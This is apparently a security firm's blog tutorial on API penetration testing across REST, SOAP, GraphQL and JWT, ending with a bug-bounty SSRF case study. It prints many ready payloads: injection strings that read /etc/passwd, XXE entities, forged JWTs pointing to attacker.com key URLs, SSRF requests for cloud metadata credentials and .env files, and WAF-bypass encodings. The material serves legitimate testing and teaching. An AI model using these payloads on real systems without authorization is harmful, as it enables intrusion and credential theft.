· 13 min read

API Penetration Testing: From Theory to Bounty

https://firewire.io
https://firewire.io

APIs power modern applications, serving as the backbone of communication between services, mobile apps, and web platforms. Despite their critical role, APIs are still frequently overlooked during security assessments.

In this article, I’ll walk through my approach to API penetration testing, sharing real vulnerabilities I’ve discovered and the bug bounty rewards earned along the way.

The API Testing Methodology

1. Target Selection

Choosing the right target is the first step.

For this case study, I selected a public bug bounty program and subscribed to the organization’s GitHub repositories. GitHub is an invaluable reconnaissance source because developers frequently publish materials intended for internal use that later become publicly accessible.

These repositories often contain:

Many impactful findings begin long before sending the first request.

2. Documentation Review

Before interacting with the API, I focus on understanding how it is supposed to work.

Carefully reviewing documentation — including API references, wiki pages, and developer guides — can reveal critical insights such as:

Documentation often exposes the application's logic better than traffic analysis alone.

3. Postman Collection Analysis

Next, I downloaded the organization’s official Postman collection.

This step significantly accelerates reconnaissance by providing:

Pro Tip: Always inspect collection variables and environment files.

I’ve repeatedly discovered staging environments, development URLs, and even test credentials hidden within these configurations.

4. Continuous Monitoring

This is where patience becomes a competitive advantage.

Instead of testing once and moving on, I continuously monitored the GitHub organization for:

Several vulnerabilities were identified simply because new functionality was pushed to production without complete security validation.

5. Systematic Testing

After mapping the full API attack surface, I began methodically testing each endpoint.

Rather than random probing, I focused on structured testing for common API vulnerabilities, including authentication issues, authorization flaws, and business logic weaknesses — which ultimately led to multiple valid findings.

Common API Vulnerabilities

1. Broken Authentication

2. IDOR (Insecure Direct Object Reference)

3. Rate Limiting Issues

4. Mass Assignment

5. Injection Vulnerabilities

6. Excessive Data Exposure

7. Broken Object Level Authorization (BOLA)

Common API Vulnerabilities

1. Broken Authentication

APIs often expose authentication endpoints that are prime targets:

What to check:

Example:

POST /api/auth/login
{
  "email": "[email protected]",
  "password": "password123"
}

Response:
{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "user_id": 12345
}

2. IDOR (Insecure Direct Object Reference)

One of the most common and impactful API vulnerabilities.

What to check:

Example:

GET /api/users/1234/profile  ← Your profile
GET /api/users/1235/profile  ← Someone else's profile (vulnerable!)

3. Rate Limiting Issues

What to check:

we can use Burp Intruder for this one 😄

4. Mass Assignment

APIs sometimes accept more parameters than they should.

What to check:

Example:

POST /api/users/register
{
  "email": "[email protected]",
  "password": "password123",
  "is_admin": true,        ← Added by attacker
  "role": "administrator"  ← Added by attacker
}

5. Injection Vulnerabilities

SQL, NoSQL, Command injection — they all live in APIs.

SQL Injection:

GET /api/products?id=1' OR '1'='1
GET /api/users?name=admin'--
POST /api/search {"query": "'; DROP TABLE users;--"}

NoSQL Injection (MongoDB):

POST /api/login
{
  "email": {"$ne": ""},
  "password": {"$ne": ""}
}

Command Injection:

POST /api/ping
{
  "host": "127.0.0.1; cat /etc/passwd"
}

6. Excessive Data Exposure

APIs often return more data than the client needs.

What to check:

Example:

// API returns everything
{
  "id": 1234,
  "email": "[email protected]",
  "password_hash": "$2b$12$xJwL5v5K...",
  "api_key": "sk_live_abc123...",
  "ssn": "123-45-6789",
  "internal_notes": "VIP customer"
}

7. Broken Object Level Authorization (BOLA)

Similar to IDOR but specifically refers to missing authorization checks.

What to check:

Example:

# User A deletes User B's resource
DELETE /api/documents/abc123
Authorization: Bearer <User_A_Token>

REST API Testing

REST (Representational State Transfer) APIs are the most common type you'll encounter. They use standard HTTP methods and typically return JSON.

REST Architecture Basics

MethodPurposeExample
GETRetrieve resourceGET /api/users/123
POSTCreate resourcePOST /api/users
PUTUpdate entire resourcePUT /api/users/123
PATCHPartial updatePATCH /api/users/123
DELETERemove resourceDELETE /api/users/123

REST API Testing Checklist

Endpoint Discovery:

Input Validation:

HTTP Methods:

# Test method overrides
X-HTTP-Method-Override: PUT
X-Method-Override: PUT
_method=PUT (in body or query)

Content-Type Attacks:

# Try different content types
Content-Type: application/xml
Content-Type: text/plain
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data

Common REST Vulnerabilities:

  1. Path Traversal in REST endpoints:
GET /api/files?path=....//....//etc/passwd
  1. HTTP Method Fallback:
# Some APIs accept GET where POST is expected
GET /api/users/delete?id=123
  1. JSON to XML Conversion:
POST /api/users
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><email>&xxe;</email></user>

REST Testing Tools

# ffuf for endpoint discovery
ffuf -u https://api.target.com/FUZZ -w wordlist.txt

# ParamMiner for hidden parameters
# Burp extension - finds unlinked parameters

# Arjun for parameter discovery
arjun -u https://api.target.com/endpoint

SOAP API Testing

SOAP (Simple Object Access Protocol) APIs use XML for message formatting and often work over HTTP/HTTPS. They're common in enterprise environments and legacy systems.

SOAP Structure

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <!-- Optional header information -->
  </soap:Header>
  <soap:Body>
    <m:GetUser xmlns:m="http://example.org/user">
      <m:UserId>123</m:UserId>
    </m:GetUser>
  </soap:Body>
</soap:Envelope>

SOAP API Testing Checklist

WSDL Discovery:

# Download and parse WSDL
curl https://api.target.com/service?wsdl -o service.wsdl

# Use WSDL parser
python3 wsdl_parser.py service.wsdl

XXE (XML External Entity) Injection:

<?xml version="1.0"?>
<!DOCTYPE soap:Envelope [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetUser>
      <m:UserId>&xxe;</m:UserId>
    </m:GetUser>
  </soap:Body>
</soap:Envelope>

SOAP Action Injection:

POST /soap/service HTTP/1.1
SOAPAction: "http://example.org/GetUser"
Content-Type: text/xml

<!-- Try manipulating SOAPAction header -->
SOAPAction: "http://example.org/DeleteUser"
SOAPAction: ""
SOAPAction: "http://example.org/Admin#GetUser"

XPath Injection:

<soap:Body>
  <m:Search>
    <m:Query>' or '1'='1</m:Query>
  </m:Search>
</soap:Body>

CDATA Injection:

<soap:Body>
  <m:Search>
    <m:Query><![CDATA[<script>alert('XSS')</script>]]></m:Query>
  </m:Search>
</soap:Body>

Command Injection in SOAP:

<soap:Body>
  <m:Ping>
    <m:Host>127.0.0.1; id</m:Host>
  </m:Ping>
</soap:Body>

SOAP-Specific Attacks

1. XML Signature Wrapping: Attackers can inject additional elements that bypass signature validation.

2. WS-Addressing Manipulation: Modify the wsa:To or wsa:Action headers.

3. SOAP Array Attack:

<soap:Body>
  <m:GetUsers>
    <m:Ids SOAP-ENC:arrayType="xsd:int[999999999]">
      <!-- Large array causing DoS -->
    </m:Ids>
  </m:GetUsers>
</soap:Body>

SOAP Testing Tools

# SOAPUI - Comprehensive SOAP testing
# Burp Suite with SOAP extension
# Wsdler - Burp extension for WSDL parsing

GraphQL API Testing

GraphQL is a query language for APIs that lets clients request exactly what they need. It's increasingly popular but introduces unique security challenges.

GraphQL Basics

# Query - Read data
query {
  user(id: 123) {
    name
    email
    posts {
      title
    }
  }
}

# Mutation - Modify data
mutation {
  updateUser(id: 123, email: "[email protected]") {
    id
    email
  }
}

GraphQL Discovery

Find GraphQL endpoints:

# Common paths
/graphql
/api/graphql
/graphql/console
/graphiql
/gql
/v1/graphql
/v2/graphql

# Check introspection
curl -X POST https://api.target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}'

GraphQL Testing Checklist

Introspection:

# Full introspection query
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      ...FullType
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
  }
}

Authorization:

Introspection to IDOR:

# Find all available queries
query {
  __schema {
    queryType {
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}

# Then try ID enumeration
query {
  user(id: 1) { email }  # Try id: 2, 3, 4...
  order(orderId: "abc123") { total }
}

GraphQL-Specific Attacks

1. Introspection Information Disclosure:

# Use tools to visualize schema
git clone https://github.com/nicholasaleks/graphql-threat-matrix
# Or use: graphql-voyager, graphiql

2. Query Depth Limit Bypass (DoS):

query {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                # Deep nesting = resource exhaustion
              }
            }
          }
        }
      }
    }
  }
}

3. Batch Query Attack:

[
  {"query": "query { user(id: 1) { password } }"},
  {"query": "query { user(id: 2) { password } }"},
  {"query": "query { user(id: 3) { password } }"}
]

If rate limiting doesn't account for batching, you can enumerate all users in one request.

4. Field Suggestion Attack:

query { user(id: 1) { passwrd } }

# Error message might reveal:
# "Cannot query field 'passwrd' on type 'User'. Did you mean 'password'?"

5. Alias Abuse for Access Control Bypass:

query {
  normalUser: user(id: 1) { email }
  adminUser: user(id: 1) { email password isAdmin }
}

6. Directive Injection:

query {
  user(id: 1) @deprecated(reason: "\"} } __typename @include(if: false)"){
    email
  }
}

7. GraphQL SQL Injection:

query {
  user(name: "admin' OR '1'='1") {
    id
    email
  }
}

8. Cross-Site WebSocket Hijacking (Subscriptions):

// If WebSocket subscriptions lack origin validation
const ws = new WebSocket('wss://api.target.com/graphql');
ws.send('{"type":"connection_init"}');

GraphQL Tools

# Clairvoyance - Discover schema without introspection
clairvoyance -u https://api.target.com/graphql

# GraphQL Cop - Security audit
python graphql-cop.py -u https://api.target.com/graphql

# InQL - Burp extension for GraphQL testing
# GraphQuail - Another Burp extension
# graphql-path-enum - Find paths to sensitive fields

# GraphQL-Norm - Test for DoS
# BatchQL - Test batching attacks

GraphQL Security Tips

# Always test these:
1. Disable introspection in production
2. Implement query depth limits
3. Set query complexity limits
4. Rate limit by complexity, not just requests
5. Validate all input types
6. Implement proper authorization at field level

JWT (JSON Web Token) Attacks

JWTs are widely used for API authentication. They consist of three parts: header, payload, and signature, separated by dots.

JWT Structure

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.      # Header (Base64)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjE1MTYyMzkwMjJ9.  # Payload (Base64)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Decoded Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Decoded Payload:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022,
  "role": "user"
}

JWT Testing Checklist

Token Analysis:

Common Vulnerabilities:

JWT Attack Techniques

1. None Algorithm Attack:

Some libraries accept "alg": "none" and skip signature verification.

# Modified header
{
  "alg": "none",
  "typ": "JWT"
}

# Modified payload
{
  "sub": "admin",
  "role": "administrator",
  "iat": 1516239022
}

# No signature needed
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNTE2MjM5MDIyfQ.

Variations to try:

{"alg": "none"}
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}

2. Algorithm Confusion (RS256 → HS256):

If the server uses RS256 (asymmetric), try switching to HS256 (symmetric) using the public key as the secret.

# Step 1: Get the public key (from /jwt/public, JWKS endpoint, etc.)
curl https://api.target.com/.well-known/jwks.json

# Step 2: Convert to PEM format if needed

# Step 3: Forge token with HS256 using public key as secret
# Use jwt_tool or custom script
python jwt_tool.py <token> -X k -pk public_key.pem

3. Weak Secret Brute Force:

HS256 uses a secret key. If weak, it can be cracked.

# Using hashcat
hashcat -m 16500 jwt.txt wordlist.txt

# Using john
john --wordlist=wordlist.txt jwt.txt

# Using jwt_tool
python jwt_tool.py <token> -C -d wordlist.txt

4. Kid (Key ID) Injection:

The kid header parameter specifies which key to use. It can be vulnerable to injection.

# Original header
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1"
}

# SQL Injection in kid
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' UNION SELECT 'secret'--"
}

# Path traversal in kid
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../dev/null"
}

5. JKU (JWK Set URL) Injection:

The jku header points to a URL containing the public key.

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/.well-known/jwks.json"
}

# Attack: Host your own JWKS with a key you control
# Sign the token with your private key
# Server fetches your key and validates

6. X5U (X.509 URL) Injection:

Similar to JKU but uses X.509 certificates.

{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "https://attacker.com/certificate.pem"
}

7. Claim Manipulation:

Modify claims directly — some servers don't validate properly.

# Change user ID
{"sub": "123"} → {"sub": "1"}

# Change role
{"role": "user"} → {"role": "admin"}

# Change user
{"username": "john"} → {"username": "admin"}

# Remove expiration check
{"exp": 1516239022} → {"exp": 9999999999}

JWT Tools

# jwt_tool - Comprehensive JWT testing
python jwt_tool.py <token>
python jwt_tool.py <token> -t https://api.target.com -rc "Authorization: Bearer JWT"

# jwt.io - Online decoder/debugger (don't use with real tokens!)

# Burp Extensions:
# - JSON Web Tokens
# - JWT Editor
# - JWT4B

# hashcat - Crack weak secrets
hashcat -m 16500 jwt.txt rockyou.txt

# jwt-cracker
jwt-cracker <token> <alphabet> <maxLength>
jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... "abcdefghijklmnop" 6

JWT Testing Workflow

1. Obtain a valid token
   ↓
2. Decode and analyze claims
   ↓
3. Try "none" algorithm attack
   ↓
4. If RS256, try algorithm confusion
   ↓
5. Brute-force HS256 secret
   ↓
6. Test kid/jku/x5u injection
   ↓
7. Manipulate claims
   ↓
8. Test token replay/expiration

Real-World Examples

These are actual vulnerabilities I discovered during a bug bounty engagement. The methodology above led to three distinct findings — each with its own lessons.


let's try it out 🗡️

Server-Side Request Forgery (SSRF):

The Discovery

After downloading the target's Postman collection, I was reviewing each endpoint's parameters. One endpoint caught my attention — it accepted a url parameter that the server would fetch content from. A classic SSRF candidate.

The Vulnerability

The endpoint blindly fetched whatever URL was passed without any validation:

POST /api/v1/fetch
{
  "url": "https://example.redacted.com/resource"
}

Exploitation

I sent the request with my Burp Collaborator URL to verify the vulnerability:

POST /api/v1/fetch
{
  "url": "https://abc123.burpcollaborator.net"
}

Within seconds, I received an HTTP request on my Collaborator — the server had reached out to my domain. No WAF, no URL validation, no restrictions. The attack worked on the first attempt.

What I could have done next:

// Cloud metadata (AWS)
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

// Cloud metadata (GCP)
{"url": "http://metadata.google.internal/computeMetadata/v1/project/attributes/"}

// Internal services
{"url": "http://localhost:8080/admin"}
{"url": "http://internal-service:3000/api/keys"}

// File read (if supported)
{"url": "file:///etc/passwd"}
{"url": "file:///app/.env"}

// Port scanning
{"url": "http://internal-host:22"}  // Response timing reveals open ports

The Impact

Lucky there was no WAF in place 😄


SSRF WAF Bypass Techniques

In this case, I was lucky 😄 no WAF was in place. But in real-world testing, you'll often encounter protections.

Here's the decision flow for SSRF bypass:

1. URL Encoding

http://169.254.169.254 → http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34

2. Double URL Encoding

WAF decodes once, server decodes again:

http://169.254.169.254 → http://%25%31%36%25%32%35%25%34%2e%31%36%39%2e%32%35%34

3. IP Address Variations

# Decimal notation
169.254.169.254 → http://2852039166

# Octal notation
169.254.169.254 → http://0251.0376.0251.0376

# Hexadecimal
169.254.169.254 → http://0xa9.0xfe.0xa9.0xfe
http://0xa9fea9fe

# Mixed notation
169.254.169.254 → http://169.254.0xa9.0xfe

4. DNS Rebinding

Register a domain that resolves to your IP initially, then to internal IPs:

{"url": "http://attacker-controlled-domain.com"}
// DNS resolves: first → attacker IP (validation passes), then → 169.254.169.254 (request made)

5. IPv6 Addresses

Some WAFs only block IPv4:

http://[0:0:0:0:0:ffff:169.254.169.254]
http://[::ffff:169.254.169.254]

6. URL Scheme Alternatives

# If http:// is blocked
gopher://169.254.169.254:80/_GET%20/meta-data
dict://169.254.169.254:80/info
sftp://169.254.169.254
ldap://169.254.169.254
tftp://169.254.169.254

# File scheme
file:///etc/passwd
file://localhost/etc/passwd

7. Redirect Bypass

Point to an allowed domain that redirects to internal:

{"url": "https://allowed-domain.com/redirect?url=http://169.254.169.254"}

8. Fragment and Query Tricks

http://169.254.169.254#.allowed-domain.com
http://allowed-domain.com#@169.254.169.254/
http://169.254.169.254?.allowed-domain.com

9. Subdomain Tricks

http://169.254.169.254.allowed-domain.com
// If allowed-domain.com has wildcard DNS pointing to attacker IP

10. HTTP Headers

Sometimes the URL itself is blocked, but you can use headers:

POST /api/fetch
Host: target.co
X-Forwarded-For: 169.254.169.254
X-Original-URL: /admin
X-Rewrite-URL: /admin

11. Unicode/IDN Homographs

http://169.254.169.254 → http://⑯⑯⑯⑯.⑯⑯⑯⑯.⑯⑯⑯⑯.⑯⑯⑯⑯

12. Case Variations

HTTP://169.254.169.254
HtTp://169.254.169.254
http://169.254.169.254:80/

Testing SSRF systematically:

# Using Burp Intruder with SSRF wordlist
Position: {"url": "§payload§"}
Payloads: https://github.com/PortSwigger/SSRF-wordlist

# Or use ffuf
ffuf -u https://api.target.com/fetch -d '{"url":"FUZZ"}' \
  -w ssrf_wordlist.txt -H "Content-Type: application/json"

Tools


Conclusion

API penetration testing rewards patience over speed. Every finding I uncovered came from following the same disciplined methodology: subscribing to a target’s GitHub repositories, studying their documentation, downloading their Postman collections, and testing methodically.

There’s no magic tool that discovers vulnerabilities for you. The most effective approach combines curiosity, consistency, and structured testing.

  1. Thorough reconnaissance — Understanding the API before attacking it
  2. Systematic testing — Going through each endpoint and parameter
  3. Continuous monitoring — Watching for changes that introduce new vulnerabilities
  4. Patience — Some findings take hours or days of work

If you are starting out:

The bugs are there, You just need to know where to look.


Resources


Have you found any interesting API vulnerabilities? Share your experience in the comments!

Fire Up Your Defenses

Don't wait for a security incident to happen. Contact Firewire today for a free consultation and discover how we can protect your organization.

CTA